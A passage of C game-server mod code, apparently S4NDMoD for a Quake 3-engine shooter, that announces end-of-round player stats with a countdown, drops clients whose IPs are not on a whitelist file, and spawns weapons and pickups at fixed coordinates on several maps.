trap_SendServerCommand(-1, va("cp \"^3Most Kills: ^7%i\n %s\n\"2",level.HAkillnum,level.HAhighkillers));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 3 ){
if(level.HAgibnum> 0){
Q_strncpyz(index, "sound/player/gibsplt1.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Gibs: ^7%i\n %s\n\"2",level.HAgibnum,level.HAhighgibbers));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 4 ){
if(level.HAdeathnum> 0){
Q_strncpyz(index, "sound/player/you_suck.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Deaths: ^7%i\n %s\n\"2",level.HAdeathnum,level.HAhighdeaths));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 5 ){
if(level.HArevivenum> 0){
Q_strncpyz(index, "sound/multiplayer/allies/a-medic1.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Revives: ^7%i\n %s\n\"2",level.HArevivenum,level.HAhighrevivers));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 6 ){
if(level.HAtknum> 0){
Q_strncpyz(index, "sound/player/teamkiller.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Teamkills: ^7%i\n %s\n\"2",level.HAtknum,level.HAtkers));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 7 ){
if(level.HAammonum> 0){
Q_strncpyz(index, "sound/multiplayer/allies/a-ammo.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Ammo Given: ^7%i\n %s\n\"2",level.HAammonum,level.HAhighammogivers));
}else{
level.HAprintnum++;
}
}
if( level.HAprintnum == 8 ){
if(level.HAmednum> 0){
Q_strncpyz(index, "sound/multiplayer/allies/a-medic1.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Med Given: ^7%i\n %s\n\"2",level.HAmednum,level.HAhighmedgivers));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 9 ){
if(level.HAHshotnum> 0){
Q_strncpyz(index, "sound/player/headhunter.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Headshots: ^7%i\n %s\n\"2",level.HAHshotnum,level.HAheadhunters));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 10){
if(level.Hapoisonnum> 0){
Q_strncpyz(index, "sound/props/throw/chairthudgrunt.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Poison Kills: ^7%i\n %s\n\"2",level.Hapoisonnum,level.Hahighpoisoners));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 11){
if(level.HAgoombanum> 0){
Q_strncpyz(index, "sound/player/gibsplt1.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Most Goomba Kills: ^7%i\n %s\n\"2",level.HAgoombanum,level.HAhighgoombaers));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 12){
if(level.useKR==qtrue){
// Q_strncpyz(index, "sound/player/accuracy.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Highest Kill Ratio: ^7%s\n %s\n\"2",level.HAkr,level.HAhighestKR));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum == 13){
if(level.useACC==qtrue){
Q_strncpyz(index, "sound/player/accuracy.wav", sizeof(index));
trap_SendServerCommand(-1, va("cp \"^3Highest Accuracy: ^7^7%s %s\n\"2",level.HAaccuracy,level.HAhighestACC));
}else{
level.HAprintnum++;
}
}
if(level.HAprintnum==0){
level.HAlastPrintTime = level.time+5000;
}else{
level.HAlastPrintTime = level.time+3000;
}
if(g_tournymode.integer&&level.HAprintnum == 14){
level.HAdone = qtrue;
level.HAstartMatch=qtrue;
return;
}
if(level.HAprintnum == 14){
Q_strncpyz(index, "sound/player/prepare.wav", sizeof(index));
level.HAlastPrintTime = level.time+1200;
trap_SendServerCommand(-1, va("cp \"^3Prepare to fight!\n\"2"));
}
if(level.HAprintnum == 15){
Q_strncpyz(index, "sound/scenaric/rocket/ls_54321.wav", sizeof(index));
level.HAlastPrintTime = level.time+1200;
trap_SendServerCommand(-1, va("cp \"^3Match Starts in: ^55\n\"2"));
}
if(level.HAprintnum == 16){
level.HAlastPrintTime = level.time+1200;
trap_SendServerCommand(-1, va("cp \"^3Match Starts in: ^54\n\"2"));
}
if(level.HAprintnum == 17){
level.HAlastPrintTime = level.time+1200;
trap_SendServerCommand(-1, va("cp \"^3Match Starts in: ^53\n\"2"));
}
if(level.HAprintnum == 18){
level.HAlastPrintTime = level.time+1200;
trap_SendServerCommand(-1, va("cp \"^3Match Starts in: ^52\n\"2"));
}
if(level.HAprintnum == 19){
level.HAlastPrintTime = level.time+1200;
trap_SendServerCommand(-1, va("cp \"^3Match Starts in: ^51\n\"2"));
}
if(level.HAprintnum == 20){
/*
trap_SendServerCommand(-1, va("cp \"^1FIGHT!!!\n\"2"));
Q_strncpyz(index, "sound/player/fight_rb.wav", sizeof(index));*/
level.HAlastPrintTime = level.time+500;
level.HAdone = qtrue;
level.HAstartMatch = qtrue;
}
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
level.HAprintnum++;
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: PrintHighAchievers: End");
}
/*
==================
CheckCleanClients
==================
*/
void CheckCleanClients()
{
int i;
FILE *cleanfile;
gentity_t *ent;
int isclean;
char cleanips[20];
level.lastCleanClientCheck = level.time;
for (i=0;i<MAX_CLIENTS;i++)
{
// skip if not connected
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
ent = &g_entities[i];
isclean = 0;
//Com_sprintf( checkip, MAX_QPATH, "%s\n", level.clients[i].sess.ip );
cleanfile=fopen("cleanclients.txt","r");//Open file
if (!cleanfile)
{//If cant find file to open
G_LogPrintf("no cleanclients.txt found\n");
}
else
{//if we found it lets compare client ip to the list
while (fgets(cleanips,20,cleanfile)!=NULL)
{
if (!Q_stricmp (cleanips, va("%s\n",ent->client->sess.ip)))
isclean++;
}
if(isclean == 0)
trap_DropClient( i, "unpure client. Visit www.S4NDMoD.com for more info." );
fclose(cleanfile);
}
}
}
/*
==================
DeathmatchGunSpawn
+Supported Maps+
-Beach
-Base
-Assault
-Sub
-Castle
-Destruction
-Depot
-Village
==================
*/
void DeathmatchGunSpawn(){
gitem_t *item;
gentity_t *spawnitem;
vec3_t spawnorigin;
vec3_t launchvel;
char mapName[32];
//Set this so we can set time of spawns
level.LastGunSpawnCheck = level.time;
launchvel[0]=0;
launchvel[1]=0;
launchvel[2]=0;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if (!Q_stricmp(mapName, "mp_beach")){
//Thompson
item = BG_FindItem("Thompson");
spawnorigin[0] = 3322;
spawnorigin[1] = 2389;
spawnorigin[2] = 576;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 3067;
spawnorigin[1] = 3330;
spawnorigin[2] = 1208;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 2578;
spawnorigin[1] = 2145;
spawnorigin[2] = 920;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 3716;
spawnorigin[1] = 2123;
spawnorigin[2] = 588;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 3995;
spawnorigin[1] = 1531;
spawnorigin[2] = 1016;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 2011;
spawnorigin[1] = 1230;
spawnorigin[2] = 777;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 2929;
spawnorigin[1] = 2528;
spawnorigin[2] = 920;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 2401;
spawnorigin[1] = 3546;
spawnorigin[2] = 656;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
//MP40
item = BG_FindItem("Mp40");
spawnorigin[0] = 3662;
spawnorigin[1] = 2521;
spawnorigin[2] = 536;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 3695;
spawnorigin[1] = 1539;
spawnorigin[2] = 856;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2822;
spawnorigin[1] = 1556;
spawnorigin[2] = 920;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2576;
spawnorigin[1] = 3359;
spawnorigin[2] = 952;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 3122;
spawnorigin[1] = 2373;
spawnorigin[2] = 1176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2741;
spawnorigin[1] = 1126;
spawnorigin[2] = 1176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2407;
spawnorigin[1] = 3740;
spawnorigin[2] = 624;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
//Sten
item = BG_FindItem("Sten");
spawnorigin[0] = 2940;
spawnorigin[1] = 1509;
spawnorigin[2] = 1176;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
//Panzer
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 2593;
spawnorigin[1] = 2180;
spawnorigin[2] = 1139;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
//Flamer
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 3265;
spawnorigin[1] = 1669;
spawnorigin[2] = 504;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
//Venom
item = BG_FindItem("Venom");
spawnorigin[0] = 1534;
spawnorigin[1] = 2677;
spawnorigin[2] = 744;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
//nades
item = BG_FindItem("Grenade");
spawnorigin[0] = 1428;
spawnorigin[1] = 3363;
spawnorigin[2] = 680;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Grenade");
spawnorigin[0] = 1431;
spawnorigin[1] = 3423;
spawnorigin[2] = 680;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Grenade");
spawnorigin[0] = 2800;
spawnorigin[1] = 781;
spawnorigin[2] = 1052;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Grenade");
spawnorigin[0] = 2931;
spawnorigin[1] = 2061;
spawnorigin[2] = 1694;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
//shotgun(mauser)
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 2750;
spawnorigin[1] = 3110;
spawnorigin[2] = 736;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 3617;
spawnorigin[1] = 3082;
spawnorigin[2] = 856;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 1819;
spawnorigin[1] = 1797;
spawnorigin[2] = 605;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
//ammo packs
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 2395;
spawnorigin[1] = 3206;
spawnorigin[2] = 952;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 3848;
spawnorigin[1] = 3133;
spawnorigin[2] = 536;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
//Med packs
item = BG_FindItem("Med Health");
spawnorigin[0] = 3150;
spawnorigin[1] = 2935;
spawnorigin[2] = 1208;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = 3046;
spawnorigin[1] = 2752;
spawnorigin[2] = 536;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
}else if (!Q_stricmp(mapName, "mp_base")){
item = &bg_itemlist[82]; //Give me some artillery!
spawnorigin[0] = 1028;
spawnorigin[1] = 628;
spawnorigin[2] = 892;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1885;
spawnorigin[1] = 2633;
spawnorigin[2] = 25;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = -1925;
spawnorigin[1] = 1726;
spawnorigin[2] = 32;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1757;
spawnorigin[1] = 1481;
spawnorigin[2] = 120;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -2264;
spawnorigin[1] = 2261;
spawnorigin[2] = 40;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Pineapple");
spawnorigin[0] = -2145;
spawnorigin[1] = 479;
spawnorigin[2] = 771;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = -1465;
spawnorigin[1] = -1537;
spawnorigin[2] = 320;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1654;
spawnorigin[1] = -1514;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -2518;
spawnorigin[1] = -1012;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("<NAME>");
spawnorigin[0] = -155;
spawnorigin[1] = -675;
spawnorigin[2] = 320;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 263;
spawnorigin[1] = -993;
spawnorigin[2] = 200;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Sten");
spawnorigin[0] = -169;
spawnorigin[1] = -870;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Pineapples");
spawnorigin[0] = -513;
spawnorigin[1] = -536;
spawnorigin[2] = 96;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = 368;
spawnorigin[1] = -511;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 759;
spawnorigin[1] = 802;
spawnorigin[2] = 168;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 935;
spawnorigin[1] = -66;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Med Health");
spawnorigin[0] = 419;
spawnorigin[1] = -623;
spawnorigin[2] = 320;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Thompson");
spawnorigin[0] = -898;
spawnorigin[1] = -929;
spawnorigin[2] = 320;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Pineapple");
spawnorigin[0] = 1368;
spawnorigin[1] = 339;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 1883;
spawnorigin[1] = 953;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = 1473;
spawnorigin[1] = 1433;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 621;
spawnorigin[1] = 1994;
spawnorigin[2] = 352;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 1372;
spawnorigin[1] = 3112;
spawnorigin[2] = 360;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Grenades");
spawnorigin[0] = 519;
spawnorigin[1] = 3136;
spawnorigin[2] = 248;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Thompson");
spawnorigin[0] = -452;
spawnorigin[1] = 1755;
spawnorigin[2] = 24;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1091;
spawnorigin[1] = 1776;
spawnorigin[2] = 24;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -1432;
spawnorigin[1] = 1056;
spawnorigin[2] = 24;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
}else if (!Q_stricmp(mapName, "mp_assault")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1569;
spawnorigin[1] = 1448;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 877;
spawnorigin[1] = 2207;
spawnorigin[2] = -535;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Venom");
spawnorigin[0] = -1713;
spawnorigin[1] = 366;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Mp40");
spawnorigin[0] = 3448;
spawnorigin[1] = 3200;
spawnorigin[2] = 792;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 2635;
spawnorigin[1] = 3066;
spawnorigin[2] = 404;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 2653;
spawnorigin[1] = 3042;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Pineapple");
spawnorigin[0] = 2209;
spawnorigin[1] = 3065;
spawnorigin[2] = 224;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 1666;
spawnorigin[1] = 3068;
spawnorigin[2] = -195;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Med Health");
spawnorigin[0] = 1216;
spawnorigin[1] = 2432;
spawnorigin[2] = -279;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = 1659;
spawnorigin[1] = 2039;
spawnorigin[2] = -279;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 388;
spawnorigin[1] = 2370;
spawnorigin[2] = -663;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -670;
spawnorigin[1] = 2440;
spawnorigin[2] = -663;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -709;
spawnorigin[1] = 2724;
spawnorigin[2] = -535;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Grenade");
spawnorigin[0] = -666;
spawnorigin[1] = 2021;
spawnorigin[2] = -535;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = -1419;
spawnorigin[1] = 1587;
spawnorigin[2] = -535;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Sten");
spawnorigin[0] = -1687;
spawnorigin[1] = 818;
spawnorigin[2] = -535;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Colt");
spawnorigin[0] = -1686;
spawnorigin[1] = 990;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 24;
spawnitem->item->quantity = 24;
item = BG_FindItem("Grenades");
spawnorigin[0] = -1145;
spawnorigin[1] = 796;
spawnorigin[2] = 396;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1149;
spawnorigin[1] = -156;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 163;
spawnorigin[1] = 1967;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 4716;
spawnorigin[1] = 703;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 4235;
spawnorigin[1] = -180;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 2955;
spawnorigin[1] = 162;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 1534;
spawnorigin[1] = 621;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Grenades");
spawnorigin[0] = 1091;
spawnorigin[1] = 832;
spawnorigin[2] = 3085;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -62;
spawnorigin[1] = 314;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Thompson");
spawnorigin[0] = 870;
spawnorigin[1] = 1809;
spawnorigin[2] = -279;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenade");
spawnorigin[0] = 1531;
spawnorigin[1] = 2030;
spawnorigin[2] = -407;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
}else if (!Q_stricmp(mapName, "mp_sub")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 960;
spawnorigin[1] = 2625;
spawnorigin[2] = 504;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 907;
spawnorigin[1] = -766;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Venom");
spawnorigin[0] = 312;
spawnorigin[1] = 591;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Pineapples");
spawnorigin[0] = 941;
spawnorigin[1] = 645;
spawnorigin[2] = 512;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Thompson");
spawnorigin[0] = -159;
spawnorigin[1] = -641;
spawnorigin[2] = 512;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Med Health");
spawnorigin[0] = -899;
spawnorigin[1] = -383;
spawnorigin[2] = 552;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = 87;
spawnorigin[1] = -769;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2243;
spawnorigin[1] = -311;
spawnorigin[2] = 512;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = -693;
spawnorigin[1] = -271;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -127;
spawnorigin[1] = 1214;
spawnorigin[2] = 408;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 961;
spawnorigin[1] = 2556;
spawnorigin[2] = 346;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 957;
spawnorigin[1] = 1484;
spawnorigin[2] = 347;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Med Health");
spawnorigin[0] = 960;
spawnorigin[1] = 1642;
spawnorigin[2] = 528;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Grenades");
spawnorigin[0] = 962;
spawnorigin[1] = 1945;
spawnorigin[2] = 780;
